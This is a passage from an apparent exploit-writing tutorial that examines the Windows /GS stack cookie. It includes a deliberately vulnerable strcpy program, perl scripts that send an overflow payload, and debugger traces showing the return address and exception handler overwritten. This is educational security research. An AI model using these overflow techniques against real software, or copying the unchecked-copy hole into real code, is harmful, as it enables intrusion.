#8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Payload sent\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">close<\/span> SOCKET or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;<\/pre>\n<p>This is what happens in the debugger (with breakpoint set on vulnerable_server!__security_check_cookie) :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; g\nModLoad: 71a50000 71a8f000 C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\mswsock.dll\nModLoad: 662b0000 66308000 C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\hnetcfg.dll\nModLoad: 77f10000 77f59000 C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\GDI32.dll\nModLoad: 7e410000 7e4a1000 C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\<span style=\"color: #0000ff\">USER<\/span>32.dll\nModLoad: 76390000 763ad000 C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\IMM32.DLL\nModLoad: 71a90000 71a98000 C:\\WINDOWS\\System32\\wshtcpip.dll\n<strong><span style=\"color: #ff0000\">Breakpoint 0 hit <\/span><\/strong>\neax=0012e46e ebx=00000000 ecx=4153a31d edx=0012e400 esi=00000001 edi=00403384\neip=004012dd esp=0012e048 ebp=0012e25c iopl=0\nnv up ei pl nz na pe nc\ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206\n<strong><span style=\"color: #ff0000\">vulnerable_server!__security_check_cookie:\n004012dd 3b0d00304000 cmp ecx,dword ptr\n[vulnerable_server!__security_cookie (00403000)] ds:0023:00403000=ef793df6<\/span><\/strong><\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>This illustrates that code was added and a compare is executed to validate the security cookie.<\/p>\n<p>The security cookie sits at 0x00403000<\/p>\n<pre>0:000&gt; dd 0x00403000\n00403000  <strong><span style=\"color: #ff0000\">ef793df6<\/span><\/strong> 1086c209 ffffffff ffffffff\n00403010  fffffffe 00000001 00000000 00000000\n00403020  00000001 00342a00 00342980 00000000\n00403030  00000000 00000000 00000000 00000000<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Because we have overwritten parts of the stack (including the GS cookie), the cookie comparison fails, and a FastSystemCallRet is called.<\/p>\n<p>Restart the vulnerable server, run the perl code again, and look at the cookie once more (to verify that it has changed) :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(480.fb0): Break instruction exception - code 80000003 (first chance)\neax=00251eb4 ebx=7ffd9000 ecx=00000002 edx=00000004 esi=00251f48 edi=00251eb4\neip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!DbgBreakPoint:\n7c90120e cc              <span style=\"color: #0000ff\">int<\/span>     3\n0:000&gt; bp vulnerable_server!__security_check_cookie\n0:000&gt; bl\n 0 e 004012dd     0001 (0001)  0:**** vulnerable_server!__security_check_cookie\n0:000&gt; g\nModLoad: 71a50000 71a8f000   C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\mswsock.dll\nModLoad: 662b0000 66308000   C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\hnetcfg.dll\nModLoad: 77f10000 77f59000   C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\GDI32.dll\nModLoad: 7e410000 7e4a1000   C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\<span style=\"color: #0000ff\">USER<\/span>32.dll\nModLoad: 76390000 763ad000   C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\IMM32.DLL\nModLoad: 71a90000 71a98000   C:\\WINDOWS\\System32\\wshtcpip.dll\nBreakpoint 0 hit\neax=0012e46e ebx=00000000 ecx=4153a31d edx=0012e400 esi=00000001 edi=00403384\neip=004012dd esp=0012e048 ebp=0012e25c iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206\nvulnerable_server!__security_check_cookie:\n004012dd 3b0d00304000    cmp     ecx,dword ptr [vulnerable_server!__security_cookie (00403000)] ds:0023:00403000=d0dd8743\n0:000&gt; dd 0x00403000\n00403000  <strong><span style=\"color: #ff0000\">d0dd8743<\/span><\/strong> 2f2278bc ffffffff ffffffff\n00403010  fffffffe 00000001 00000000 00000000\n00403020  00000001 00342a00 00342980 00000000\n00403030  00000000 00000000 00000000 00000000<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>It\u2019s different now, which means that it is not predictable. (This is what usually happens. (MS06-040 shows an exploit that could take advantage of the fact that the cookie was static, so it is possible - in theory))<\/p>\n<p>Anyways, if you now try to overflow the buffer, the application will die : <strong>ntdll!KiFastSystemCallRet<\/strong><\/p>\n<p>(set breakpoint on function pr, and step through the instructions until you see that the security cookie check fails before the function returns)<\/p>\n<p>This should give us enough information on how the \/GS compiler switch changes the code of functions to protect against stack overflows.<\/p>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>As explained earlier, there are a couple of techniques that would allow you to try to bypass the GS protection. Most of them rely on the fact that you can hit the exception handler structure\/trigger an exception before the cookie is checked again. Other rely on being able to write to arguments,\u2026 No matter what I\u2019ve tried, it did not work with this code (could not hit exception handler). So \/GS appears to be quite effective with this code.<\/p>\n<h3>Stack cookie bypass demonstration 1 : Exception Handling<\/h3>\n<h4>The vulnerable code<\/h4>\n<p>In order to demonstrate how the stack cookie can be bypassed, we\u2019ll use the following simple c++ code (basicbof.cpp) :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 454px; border-right: #cecece 1px solid; width: 644px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">#include &quot;<span style=\"color: #8b0000\">stdafx.h<\/span>&quot;\n#include &quot;<span style=\"color: #8b0000\">stdio.h<\/span>&quot;\n#include &quot;<span style=\"color: #8b0000\">windows.h<\/span>&quot;\n\n<span style=\"color: #0000ff\">void<\/span> GetInput(<span style=\"color: #0000ff\">char<\/span>* str, <span style=\"color: #0000ff\">char<\/span>* out)\n{\n\t<span style=\"color: #0000ff\">char<\/span> buffer[500];\n\t<span style=\"color: #0000ff\">try<\/span>\n\t{\n         strcpy(buffer,str);\n\t strcpy(out,buffer);\n         printf(&quot;<span style=\"color: #8b0000\">Input received : %s\\n<\/span>&quot;,buffer);\n\t}\n\t<span style=\"color: #0000ff\">catch<\/span> (<span style=\"color: #0000ff\">char<\/span> * strErr)\n\t{\n\t\tprintf(&quot;<span style=\"color: #8b0000\">No valid input received ! \\n<\/span>&quot;);\n\t\tprintf(&quot;<span style=\"color: #8b0000\">Exception : %s\\n<\/span>&quot;,strErr);\n\t}\n}\n\n<span style=\"color: #0000ff\">int<\/span> main(<span style=\"color: #0000ff\">int<\/span> argc, <span style=\"color: #0000ff\">char<\/span>* argv[])\n{\n    <span style=\"color: #0000ff\">char<\/span> buf2[128];\n    GetInput(argv[1],buf2);\n    <span style=\"color: #0000ff\">return<\/span> 0;\n}<\/pre>\n<p>As you can see, the GetInput function contains a vulnerable strcpy, because it does not check the length of the first parameter. Furthermore, once \u2018buffer\u2019 was filled (and possibly corrupted), it is used again (strcpy to variable \u2018out\u2019) before the function returns. But hey - the function exception handler should warn the user if malicious input was entered, right ? \ud83d\ude42<\/p>\n<p>Compile the code without \/GS and without RTC.<\/p>\n<p>Run the code and use a 10 character string as parameter :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 52px; border-right: #cecece 1px solid; width: 642px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">basicbof.exe AAAAAAAAAA\nInput received : AAAAAAAAAA<\/pre>\n<p>Ok, that works as expected. Now run the application and feed it a string longer than 500 bytes as first parameter. Application will crash.<\/p>\n<p>(If you leave out the exception handler code in the GetInput function, then the application will crash &amp; trigger your debugger to kick in.)<\/p>\n<p>We\u2019ll use the following simple perl script to call the application and feed it 520 characters :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 52px; border-right: #cecece 1px solid; width: 834px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">my<\/span> $buffer=&quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 520;\n<span style=\"color: #0000ff\">system<\/span>(&quot;<span style=\"color: #8b0000\">\\&quot;C:\\\\Program Files\\\\Debugging Tools for Windows (x86)\\\\windbg\\&quot; basicbof.exe \\&quot;$buffer\\&quot;\\r\\n<\/span>&quot;);<\/pre>\n<p>Run the script :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 91px; border-right: #cecece 1px solid; width: 664px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(908.470): Access violation - code c0000005 (!!! second chance !!!)\neax=0000021a ebx=00000000 ecx=7855215c edx=785bbb60 esi=00000001 edi=00403380\neip=41414141 esp=0012ff78 ebp=41414141 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\n41414141 ??<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>=&gt; direct ret\/eip overwrite. Classic BOF.<\/p>\n<p>If you try the same again, using the executable that includes the exception handling code again, the application will die. (if you prefer launching the executable from within windbg, then run windbg, open the basicbof.exe executable, and add the 500+ character string as argument)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image22.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb22.png\" width=\"232\" height=\"205\" \/><\/a><\/p>\n<p>Now you get this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 145px; border-right: #cecece 1px solid; width: 663px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(b5c.964): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a8\neip=004010cb esp=0012fcb4 ebp=0012feec iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206\n<strong><span style=\"color: #ff0000\">basicbof!GetInput+0xcb:<\/span><\/strong>\n004010cb 8802            mov     byte ptr [edx],al          ds:0023:00130000=41<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>No direct EIP overwrite, but we have hit the exception handler with our buffer overflow :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 71px; border-right: #cecece 1px solid; width: 661px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; !exchain\n0012fee0: 41414141\nInvalid exception stack at 41414141<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<h4>How does the SE Handler work and what happens when it gets overwritten ?<\/h4>\n<p>Before continuing, as a small exercise (using breakpoints and stepping through instructions), we\u2019ll see why and when the exception handler kicked in and what happens when you overwrite the handler.<\/p>\n<p>Open the executable (no GS, but with the exception handling code) in windbg again (with the 520 A\u2019s as argument). Before starting the application (at the breakpoint), set a breakpoint on function GetInput<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 64px; border-right: #cecece 1px solid; width: 668px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; <strong>bp GetInput<\/strong>\n0:000&gt; bl\n 0 e 00401000     0001 (0001)  0:**** basicbof!GetInput<\/pre>\n<p>Run the application, and it will break when the function is called<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 117px; border-right: #cecece 1px solid; width: 668px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">Breakpoint 0 hit\neax=0012fefc ebx=00000000 ecx=00342980 edx=003429f3 esi=00000001 edi=004033a8\neip=00401000 esp=0012fef0 ebp=0012ff7c iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206\nbasicbof!GetInput:\n00401000 55              <span style=\"color: #0000ff\">push<\/span>    ebp<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>If you disassemble function GetInput, this is what you will see :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 1304px; border-right: #cecece 1px solid; width: 753px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">00401000   $ 55             <span style=\"color: #0000ff\">PUSH<\/span> EBP ;save current <span style=\"color: #0000ff\">value<\/span> of EBP (=&gt; saved EIP)\n00401001   . 8BEC           MOV EBP,ESP ;ebp is now top of stack (=&gt; saved EBP)\n00401003   . 6A FF          <span style=\"color: #0000ff\">PUSH<\/span> -1\n00401005   . 68 A01A4000    <span style=\"color: #0000ff\">PUSH<\/span> basicbof.00401AA0 ;  SE handler installation\n0040100A   . 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]\n00401010   . 50             <span style=\"color: #0000ff\">PUSH<\/span> EAX\n00401011   . 64:8925 000000&gt;MOV DWORD PTR FS:[0],ESP\n00401018   . 51             <span style=\"color: #0000ff\">PUSH<\/span> ECX\n00401019   . 81EC 1C020000  SUB ESP,21C  ;reserve space on the stack, 540 bytes\n0040101F   . 53             <span style=\"color: #0000ff\">PUSH<\/span> EBX\n00401020   . 56             <span style=\"color: #0000ff\">PUSH<\/span> ESI\n00401021   . 57             <span style=\"color: #0000ff\">PUSH<\/span> EDI\n00401022   . 8965 F0        MOV DWORD PTR SS:[EBP-10],ESP\n00401025   . C745 FC 000000&gt;MOV DWORD PTR SS:[EBP-4],0\n0040102C   . 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]  ;start strcpy(buffer,str)\n0040102F   . 8985 F0FDFFFF  MOV DWORD PTR SS:[EBP-210],EAX\n00401035   . 8D8D F8FDFFFF  LEA ECX,DWORD PTR SS:[EBP-208]\n0040103B   . 898D ECFDFFFF  MOV DWORD PTR SS:[EBP-214],ECX\n00401041   . 8B95 ECFDFFFF  MOV EDX,DWORD PTR SS:[EBP-214]\n00401047   . 8995 E8FDFFFF  MOV DWORD PTR SS:[EBP-218],EDX\n0040104D   &gt; 8B85 F0FDFFFF  MOV EAX,DWORD PTR SS:[EBP-210]\n00401053   . 8A08           MOV CL,BYTE PTR DS:[EAX]\n00401055   . 888D E7FDFFFF  MOV BYTE PTR SS:[EBP-219],CL\n0040105B   . 8B95 ECFDFFFF  MOV EDX,DWORD PTR SS:[EBP-214]\n00401061   . 8A85 E7FDFFFF  MOV AL,BYTE PTR SS:[EBP-219]\n00401067   . 8802           MOV BYTE PTR DS:[EDX],AL\n00401069   . 8B8D F0FDFFFF  MOV ECX,DWORD PTR SS:[EBP-210]\n0040106F   . 83C1 01        ADD ECX,1\n00401072   . 898D F0FDFFFF  MOV DWORD PTR SS:[EBP-210],ECX\n00401078   . 8B95 ECFDFFFF  MOV EDX,DWORD PTR SS:[EBP-214]\n0040107E   . 83C2 01        ADD EDX,1\n00401081   . 8995 ECFDFFFF  MOV DWORD PTR SS:[EBP-214],EDX\n00401087   . 80BD E7FDFFFF &gt;CMP BYTE PTR SS:[EBP-219],0\n0040108E   .^75 BD          JNZ SHORT basicbof.0040104D ;jmp to 0x0040104d,get <span style=\"color: #0000ff\">next<\/span> char\n00401090   . 8D85 F8FDFFFF  LEA EAX,DWORD PTR SS:[EBP-208] ;start strcpy(out,buffer)\n00401096   . 8985 E0FDFFFF  MOV DWORD PTR SS:[EBP-220],EAX\n0040109C   . 8B4D 0C        MOV ECX,DWORD PTR SS:[EBP+C]\n0040109F   . 898D DCFDFFFF  MOV DWORD PTR SS:[EBP-224],ECX\n004010A5   . 8B95 DCFDFFFF  MOV EDX,DWORD PTR SS:[EBP-224]\n004010AB   . 8995 D8FDFFFF  MOV DWORD PTR SS:[EBP-228],EDX\n004010B1   &gt; 8B85 E0FDFFFF  MOV EAX,DWORD PTR SS:[EBP-220]\n004010B7   . 8A08           MOV CL,BYTE PTR DS:[EAX]\n004010B9   . 888D D7FDFFFF  MOV BYTE PTR SS:[EBP-229],CL\n004010BF   . 8B95 DCFDFFFF  MOV EDX,DWORD PTR SS:[EBP-224]\n004010C5   . 8A85 D7FDFFFF  MOV AL,BYTE PTR SS:[EBP-229]\n004010CB   . 8802           MOV BYTE PTR DS:[EDX],AL\n004010CD   . 8B8D E0FDFFFF  MOV ECX,DWORD PTR SS:[EBP-220]\n004010D3   . 83C1 01        ADD ECX,1\n004010D6   . 898D E0FDFFFF  MOV DWORD PTR SS:[EBP-220],ECX\n004010DC   . 8B95 DCFDFFFF  MOV EDX,DWORD PTR SS:[EBP-224]\n004010E2   . 83C2 01        ADD EDX,1\n004010E5   . 8995 DCFDFFFF  MOV DWORD PTR SS:[EBP-224],EDX\n004010EB   . 80BD D7FDFFFF &gt;CMP BYTE PTR SS:[EBP-229],0\n004010F2   .^75 BD          JNZ SHORT basicbof.004010B1;jmp to 0x00401090,get <span style=\"color: #0000ff\">next<\/span> char\n004010F4   . 8D85 F8FDFFFF  LEA EAX,DWORD PTR SS:[EBP-208]\n004010FA   . 50             <span style=\"color: #0000ff\">PUSH<\/span> EAX                   ; \/&lt;%s&gt;\n004010FB   . 68 FC204000    <span style=\"color: #0000ff\">PUSH<\/span> basicbof.004020FC     ; |<span style=\"color: #0000ff\">format<\/span> = &quot;<span style=\"color: #8b0000\">Input received : %s\n<\/span>&quot;<span style=\"color: #8b0000\">\n<\/span>00401100   . FF15 A8204000  CALL DWORD PTR DS:[&lt;&amp;MSVCR90.<span style=\"color: #0000ff\">printf<\/span>&gt;]   \\<span style=\"color: #0000ff\">printf<\/span>\n00401106   . 83C4 08        ADD ESP,8\n00401109   . EB 30          JMP SHORT basicbof.0040113B\n0040110B   . 68 14214000    <span style=\"color: #0000ff\">PUSH<\/span> basicbof.00402114     ; \/<span style=\"color: #0000ff\">format<\/span> = &quot;<span style=\"color: #8b0000\">No valid input received !\n<\/span>&quot;<span style=\"color: #8b0000\">\n<\/span>00401110   . FF15 A8204000  CALL DWORD PTR DS:[&lt;&amp;MSVCR90.<span style=\"color: #0000ff\">printf<\/span>&gt;]  ; \\<span style=\"color: #0000ff\">printf<\/span>\n00401116   . 83C4 04        ADD ESP,4\n00401119   . 8B8D F4FDFFFF  MOV ECX,DWORD PTR SS:[EBP-20C]\n0040111F   . 51             <span style=\"color: #0000ff\">PUSH<\/span> ECX                   ; \/&lt;%s&gt;\n00401120   . 68 30214000    <span style=\"color: #0000ff\">PUSH<\/span> basicbof.00402130     ; |<span style=\"color: #0000ff\">format<\/span> = &quot;<span style=\"color: #8b0000\">Exception : %s\n<\/span>&quot;<span style=\"color: #8b0000\">\n<\/span>00401125   . FF15 A8204000  CALL DWORD PTR DS:[&lt;&amp;MSVCR90.<span style=\"color: #0000ff\">printf<\/span>&gt;]    ; \\<span style=\"color: #0000ff\">printf<\/span>\n0040112B   . 83C4 08        ADD ESP,8\n0040112E   . C745 FC FFFFFF&gt;MOV DWORD PTR SS:[EBP-4],-1\n00401135   . B8 42114000    MOV EAX,basicbof.00401142\n0040113A   . C3             RETN<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>When the GetInput() function prolog begins, the function argument (our buffer \u201cstr\u201d) is stored at 0x003429f3 (EDX):<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 62px; border-right: #cecece 1px solid; width: 683px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; d edx\n003429f3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n00342a03  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>A pointer to this argument is put on the stack (so at 0x0012fef4, the address 0x003429f3 is stored).<\/p>\n<p>The stack pointer (ESP) points to 0x0012fef0), and EBP points to 0x0012ff7c. These 2 addresses now form the new function stack frame. The memory location ESP points to currently contains 0x00401179 (which is the return address to go back to the main function, right after calling GetInput())<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><strong><span style=\"color: #ff0000\">basicbof!main<\/span><\/strong>\n00401160 55              <span style=\"color: #0000ff\">push<\/span>    ebp\n00401161 8bec            mov     ebp,esp\n00401163 81ec80000000    <span style=\"color: #0000ff\">sub<\/span>     esp,80h\n00401169 8d4580          lea     eax,[ebp-80h]\n0040116c 50              <span style=\"color: #0000ff\">push<\/span>    eax\n0040116d 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]  ;pointer to argument\n00401170 8b5104          mov     edx,dword ptr [ecx+4]    ;pointer to argument\n00401173 52              <span style=\"color: #0000ff\">push<\/span>    edx  ; buffer argument\n00401174 e887feffff      call    basicbof!GetInput (00401000) ; 